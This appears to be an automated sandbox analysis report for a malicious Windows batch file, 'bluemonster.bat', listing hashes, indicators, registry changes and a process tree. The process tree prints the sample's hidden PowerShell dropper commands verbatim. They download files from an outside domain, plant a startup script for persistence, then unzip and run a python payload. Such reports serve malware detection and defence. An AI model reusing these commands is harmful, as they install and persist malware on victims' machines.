dec088ed0d2a443fb8fc236d6dcac5b1bcfb7c645144cb74a0f94837bfab53a2

Analysis

max time kernel
134s
max time network
150s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
08/01/2024, 03:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bluemonster.bat
Size 14KB
Sample240108-d565aabdh6
SHA256 dec088ed0d2a443fb8fc236d6dcac5b1bcfb7c645144cb74a0f94837bfab53a2
MD5 80f77e4c60d54aeb28c2196826f2a612
SHA1 424f10acbe90b1717b0d71d19c4975b83bd436f5
SHA512 1f336d982ba9dd597a3224014c4a7ef86f6b687ea2abd17ec8e08171d8a1018e551e24dd3dbea17bc5f06ae81e097ffcbe47c94674120d6f8097e43941649d29
SSDEEP 96:2vCQigGHsiW3Ltt1L/CrSCP3Ltt5TaykKaTaqIiS:UCQigGMltt1jC2CDtt5bkTIl
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://clonecloneclonewhomanmale.site/run

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://clonecloneclonewhomanmale.site/36idol.zip

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
9	2668	powershell.exe
10	2668	powershell.exe
15	700	powershell.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSecure.bat	powershell.exe

Modifies Internet Explorer settings 1 TTPs 64 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\DOMStorage\Total\ = "9117"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\DOMStorage\Total\ = "520"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\DOMStorage\www.amazon.com\ = "300"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\DOMStorage\amazon.com\Total = "9117"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\DOMStorage\amazon.com	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\DOMStorage\Total\ = "13725"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\DOMStorage\amazon.com\NumberOfSubdomains = "1"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\DOMStorage\amazon.com\Total = "2437"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\DOMStorage\www.amazon.com\ = "518"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "410846879"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\DOMStorage\amazon.com\Total = "62"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\DOMStorage\amazon.com\Total = "520"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\DOMStorage\amazon.com\Total = "37992"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\DOMStorage\Total\ = "8197"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000d80bef292bee784c8e3c940d61fdfeb80000000002000000000010660000000100002000000012503f988638d9b6bcf556cfa61bc4bc2c2d34455fe9134ff8b4e4d5bb55c176000000000e800000000200002000000003783d8f601e2341db5d221a1b07f7e611615da579d113d24fc0260296c77caf90000000e2930e2090a4123c03e48bcd59ff0aa6cc247f351d2f0ce0115f3f062df074c05d7683f4b3bb69c1898718439b448bb3371e9b05a8baa802a6876b1f37feeaaf232f2d6fe12d8f2638dedcab0a594f489c41c47548e0f37ae4902d26162eae736e5ae223e70a44f1a82814abfbaaf61c30e3490b917397d996496dd9aafadaa263018dba18e5598bcd50e0c45323928840000000b6fbb82ddc5ceda24de2cf1eeb748d911e9c0fdcc9b647d9a6711c937625b77312b8abca268399d2cb373da4b68ee63f1bf95c6b8c6ed344b3e188f6d6c4a97b	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\DOMStorage\amazon.com\Total = "9102"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\DOMStorage\Total\ = "13592"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\DOMStorage\amazon.com\Total = "9089"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\DOMStorage\www.amazon.com\ = "9089"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\DOMStorage\www.amazon.com\ = "2437"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\DOMStorage\amazon.com\Total = "518"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\DOMStorage\www.amazon.com\ = "651"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\DOMStorage\amazon.com\Total = "136"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\DOMStorage\www.amazon.com\ = "496"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\DOMStorage\www.amazon.com\ = "9102"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\DOMStorage\www.amazon.com\ = "9117"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\DOMStorage\amazon.com\Total = "92"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\DOMStorage\Total\ = "347"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\DOMStorage\www.amazon.com\ = "8197"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\DOMStorage\Total	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\DOMStorage\amazon.com\Total = "8197"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\DOMStorage\amazon.com\Total = "13725"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\DOMStorage\amazon.com\Total = "328"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\DOMStorage\www.amazon.com\ = "497"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\DOMStorage\www.amazon.com\ = "519"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\SearchScopes	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000d80bef292bee784c8e3c940d61fdfeb8000000000200000000001066000000010000200000006d667b7d49990186df27eac448eeac41858d654b25effb644daf86ba83848f29000000000e80000000020000200000000a6012bb40d297be0c3a065274b24aa1edca1f6cc110ad0a59fce094cf21e54520000000f320c70aa469e058be49beb2a8a00d469fad72d8d4893f074ba793552b7e52114000000048241079e7254daa53c054ae5aa8b5eb541d429eb60986f0f2b6bc63d716e0c3b5b2df232924333e2fe892922f75eedd9d145dd7cc485b6f5e600baae2b735bc	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\DOMStorage\Total\ = "300"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = c0bf21fde341da01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\DOMStorage\amazon.com\Total = "497"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\DOMStorage\Total\ = "62"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\DOMStorage\Total\ = "651"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\DOMStorage\Total\ = "9089"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\DOMStorage\amazon.com\Total = "347"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\DOMStorage\www.amazon.com	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\DOMStorage\www.amazon.com\ = "13593"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2668	powershell.exe
700	powershell.exe
1516	powershell.exe
2452	powershell.exe
2268	iexplore.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2668	powershell.exe
Token: SeDebugPrivilege	700	powershell.exe
Token: SeDebugPrivilege	1516	powershell.exe
Token: SeDebugPrivilege	2452	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2268	iexplore.exe

Suspicious use of SetWindowsHookEx 10 IoCs

pid	Process
2268	iexplore.exe
2268	iexplore.exe
2416	IEXPLORE.EXE
2416	IEXPLORE.EXE
2416	IEXPLORE.EXE
2416	IEXPLORE.EXE
2280	IEXPLORE.EXE
2280	IEXPLORE.EXE
2280	IEXPLORE.EXE
2280	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 41 IoCs

description	pid	Process	procid_target
PID 2644 wrote to memory of 2124	2644	cmd.exe	29
PID 2644 wrote to memory of 2124	2644	cmd.exe	29
PID 2644 wrote to memory of 2124	2644	cmd.exe	29
PID 2124 wrote to memory of 2268	2124	cmd.exe	30
PID 2124 wrote to memory of 2268	2124	cmd.exe	30
PID 2124 wrote to memory of 2268	2124	cmd.exe	30
PID 2644 wrote to memory of 2664	2644	cmd.exe	31
PID 2644 wrote to memory of 2664	2644	cmd.exe	31
PID 2644 wrote to memory of 2664	2644	cmd.exe	31
PID 2664 wrote to memory of 2668	2664	cmd.exe	32
PID 2664 wrote to memory of 2668	2664	cmd.exe	32
PID 2664 wrote to memory of 2668	2664	cmd.exe	32
PID 2268 wrote to memory of 2416	2268	iexplore.exe	33
PID 2268 wrote to memory of 2416	2268	iexplore.exe	33
PID 2268 wrote to memory of 2416	2268	iexplore.exe	33
PID 2268 wrote to memory of 2416	2268	iexplore.exe	33
PID 2644 wrote to memory of 112	2644	cmd.exe	35
PID 2644 wrote to memory of 112	2644	cmd.exe	35
PID 2644 wrote to memory of 112	2644	cmd.exe	35
PID 112 wrote to memory of 700	112	cmd.exe	36
PID 112 wrote to memory of 700	112	cmd.exe	36
PID 112 wrote to memory of 700	112	cmd.exe	36
PID 2644 wrote to memory of 1708	2644	cmd.exe	37
PID 2644 wrote to memory of 1708	2644	cmd.exe	37
PID 2644 wrote to memory of 1708	2644	cmd.exe	37
PID 1708 wrote to memory of 1516	1708	cmd.exe	38
PID 1708 wrote to memory of 1516	1708	cmd.exe	38
PID 1708 wrote to memory of 1516	1708	cmd.exe	38
PID 2644 wrote to memory of 2424	2644	cmd.exe	39
PID 2644 wrote to memory of 2424	2644	cmd.exe	39
PID 2644 wrote to memory of 2424	2644	cmd.exe	39
PID 2424 wrote to memory of 2452	2424	cmd.exe	40
PID 2424 wrote to memory of 2452	2424	cmd.exe	40
PID 2424 wrote to memory of 2452	2424	cmd.exe	40
PID 2644 wrote to memory of 704	2644	cmd.exe	42
PID 2644 wrote to memory of 704	2644	cmd.exe	42
PID 2644 wrote to memory of 704	2644	cmd.exe	42
PID 2268 wrote to memory of 2280	2268	iexplore.exe	44
PID 2268 wrote to memory of 2280	2268	iexplore.exe	44
PID 2268 wrote to memory of 2280	2268	iexplore.exe	44
PID 2268 wrote to memory of 2280	2268	iexplore.exe	44

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\bluemonster.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2644
- C:\Windows\system32\cmd.exe
  cmd /c start "" https://amazon.com
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2124
- - C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" https://amazon.com/
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2268
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2268 CREDAT:275457 /prefetch:2
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:2416
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2268 CREDAT:668683 /prefetch:2
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:2280
- C:\Windows\system32\cmd.exe
  cmd /c powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('http://clonecloneclonewhomanmale.site/run', '%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat')"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2664
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('http://clonecloneclonewhomanmale.site/run', 'C:\Users\Admin\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat')"
    3⤵
    - Blocklisted process makes network request
    - Drops startup file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2668
- C:\Windows\system32\cmd.exe
  cmd /c powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://clonecloneclonewhomanmale.site/36idol.zip', 'C:\Users\Public\Windown.zip')"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:112
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://clonecloneclonewhomanmale.site/36idol.zip', 'C:\Users\Public\Windown.zip')"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:700
- C:\Windows\system32\cmd.exe
  cmd /c powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Windown.zip', 'C:/Users/Public/Windown')"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1708
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Windown.zip', 'C:/Users/Public/Windown')"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1516
- C:\Windows\system32\cmd.exe
  cmd /c powershell.exe -WindowStyle Hidden -Command "C:\Users\Public\Windown\python C:\Users\Public\Windown\project.py"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2424
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -Command "C:\Users\Public\Windown\python C:\Users\Public\Windown\project.py"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2452
- C:\Windows\system32\cmd.exe
  cmd /c start "" https://amazon.com
  2⤵
  PID:704

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

070E0202839D9D67350CD2613E78E416

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\070E0202839D9D67350CD2613E78E416
Size 1KB
SHA256 d73494e3446b02167573b3cde3ae1c8584ac26e15e45ac3ec0326708425d90fb
MD5 55540a230bdab55187a841cfe1aa1545
SHA1 363e4734f757bdeb89868efe94907774a327695e
SHA512 c899cb1d31d3214fd9dc8626a55e40580d3b2224bf34310c2abd85d0f63e2dedaeae57832f048c2f500cb2cbf83683fcb14139af3f0b5251606076cdb4689c54
MD5 SHA1 SHA512

Submit Download

3FA0F92EA40DC353FF9E95B9F7D06EAF_02A7BB8D663AB0A2D3E0CE44422ED38B

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\3FA0F92EA40DC353FF9E95B9F7D06EAF_02A7BB8D663AB0A2D3E0CE44422ED38B
Size 471B
SHA256 8c01c71f729c44af7bd87769edb9c72dd1f5c9b81e2e1ed8a0096b91bc32a651
MD5 12cbf5e9d62027806e86dd65b16215d5
SHA1 0a7cd315659b2d2de625c99e22c644e29fe006bb
SHA512 692af3dcdf316b72ccd61dfcf2663e6f3af1f0fb44a0e2fba74c9603a750919f67246a9d1dc52b9817f76a17bfeec1669c35451daf52b96b5d64fbd8629f9ec9
MD5 SHA1 SHA512

Submit Download

75CA58072B9926F763A91F0CC2798706_056B48C93C4964C2E64C0A8958238656

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\75CA58072B9926F763A91F0CC2798706_056B48C93C4964C2E64C0A8958238656
Size 1KB
SHA256 cc2d0f2b0063e516aa9a609da685d08a0a89c93f7699aef4e22d018471c6343b
MD5 86472c60acaa4c6beab6db7a6d9c3a67
SHA1 43916084bacd596bfec03d139a3b6186e6c39099
SHA512 e19615aec8082bd4f60b6fb9b3f7e7dae04d0420b6fbdaa4e3c878d2c7a2330487ad601a8209226398225f9e090d6b9a796129684186d5e5fe7bc183eb08abd1
MD5 SHA1 SHA512

Submit Download

75CA58072B9926F763A91F0CC2798706_B5D3A17E5BEDD2EDA793611A0A74E1E8

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\75CA58072B9926F763A91F0CC2798706_B5D3A17E5BEDD2EDA793611A0A74E1E8
Size 1KB
SHA256 30dad9fe5e1dec7a9599282aaba4f1b50c6ba92a0a9266b80dd6049bc4338385
MD5 b17a8a4991892d618b0bb9c38f6b1cef
SHA1 4ad22b625d126a28e3845b86a2edcef8326c61f0
SHA512 f43253c545880cd132c141563e92e6e6e1eae3308819bf081f357cece9cd24dd33022de83830a7dfba16a6a5881a990523700b4e7a481d014783da96f8bfc311
MD5 SHA1 SHA512

Submit Download

8828F39C7C0CE9A14B25C7EB321181BA_D21E2ECA16C426DD4124714500D479F2

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8828F39C7C0CE9A14B25C7EB321181BA_D21E2ECA16C426DD4124714500D479F2
Size 1KB
SHA256 ab1a4943ac31b25a347fe968446d033d9b1f96f2add0ecf1219161503c707353
MD5 22fd70b9aa17561364f1f480aab82cf9
SHA1 c1365a9217d6a0630ad2efb93ea7b88546971637
SHA512 5e1d8859c94e8a14a3290f6496fa9231557a6d1b7ffeaf2db95994108961d0478b95a7aa3fa54801ddcfb3b0cf6e689fa05c6fbe33ff6dac43a36e42756f2ab9
MD5 SHA1 SHA512

Submit Download

B66240B0F6C84BD4857ABA60CF5CE4A0_5043E0F5DF723415C9EECC201C838A62

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B66240B0F6C84BD4857ABA60CF5CE4A0_5043E0F5DF723415C9EECC201C838A62
Size 2KB
SHA256 1890bf1f87b4790e6e52c852726671b4aced489ad3777ceef9c127eee242f91a
MD5 7d93ed054bf0bda34df2113aa7d9b904
SHA1 f619dd546d32abf374924bf94096c6ac5db22d59
SHA512 a4ed410ad112046a171d47b99b3198b51c531d2ba1580b607f8f0eea40c640316c9fee7672eee176538575138de2df3a4b325c28451bca5385ada034c1612e17
MD5 SHA1 SHA512

Submit Download

BAD725C80F9E10846F35D039A996E4A8_88B6AE015495C1ECC395D19C1DD02894

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\BAD725C80F9E10846F35D039A996E4A8_88B6AE015495C1ECC395D19C1DD02894
Size 1KB
SHA256 7cee5b9a1b7f873d60e19e46b0e7932bacf7c430a5cf32a839c16f9e6f03e09e
MD5 2f7541e17cc126ef6ecd469ddef1ee65
SHA1 ebbb1174201e7cec9429b67276ab524d7478e0f6
SHA512 042b241f235f8585d25071e6592e46a52a7394bddb90829eb410ae758c9a1554e3f76a4c824fa34e2740ef06eafc5d7ae613bfacfc5fe29d6814582a3ebcb450
MD5 SHA1 SHA512

Submit Download

3FA0F92EA40DC353FF9E95B9F7D06EAF_02A7BB8D663AB0A2D3E0CE44422ED38B

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\3FA0F92EA40DC353FF9E95B9F7D06EAF_02A7BB8D663AB0A2D3E0CE44422ED38B
Size 416B
SHA256 59a135dd12f97eb2f5fea7db2575bdb73e7d7cffb6017f0058be8464e90601ae
MD5 3a438a4fc55dff921d0f794d22ff1685
SHA1 486ad5c5a29333cb8f7bc42db618c6c089f2027d
SHA512 05cd229f4bba6e8d768d78c5a1bf0504fd7449694fceee0527fb263849b1808e5443c518c5ff1e66498d9691bd8e312952dd9e815cf8cb929b4474dd8864b047
MD5 SHA1 SHA512

Submit Download

75CA58072B9926F763A91F0CC2798706_056B48C93C4964C2E64C0A8958238656

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\75CA58072B9926F763A91F0CC2798706_056B48C93C4964C2E64C0A8958238656
Size 434B
SHA256 e3ce041913c3cf81ff523dceff047150b0742bc0290a777da31604ac20117683
MD5 de315e6bfa4622e63d579007a5c74c03
SHA1 6fd00d31a1c139ab01af2d917fb429aecb40872e
SHA512 fb6d83ed1fae24f5910690a073857a97aa10365e65c838b51cc5317d6892aa541704768bdd057fd3e663afa354b82a385fa32b94ddd0f4a41c7f074f2957de44
MD5 SHA1 SHA512

Submit Download

75CA58072B9926F763A91F0CC2798706_B5D3A17E5BEDD2EDA793611A0A74E1E8

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\75CA58072B9926F763A91F0CC2798706_B5D3A17E5BEDD2EDA793611A0A74E1E8
Size 438B
SHA256 73e205a8c5a24c318aab2456d5448dffaf71f87fa66d05d89484951bb91661cf
MD5 f5848af28152524df7719d8e6ca04d04
SHA1 06c9ebde8f1ea77f44655c1d741b9dc5e5ca8c70
SHA512 ae977c1da08393bbb32245f11232859fa4441d550e1268fcf64569a25b807248df6df954246868d9c0a2388082da196c9a2fd3455841b5a09fffb97f08ea2f8e
MD5 SHA1 SHA512

Submit Download

8828F39C7C0CE9A14B25C7EB321181BA_D21E2ECA16C426DD4124714500D479F2

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8828F39C7C0CE9A14B25C7EB321181BA_D21E2ECA16C426DD4124714500D479F2
Size 396B
SHA256 b6ffc68c771717f1abb0cc8db2adba1493d2931ab8cf2d74132c257708ea1e73
MD5 1f4a97131e2fab9ce7f3460799c28f72
SHA1 60ce5281e1b7b1eb31db13ea665dcc4473834c57
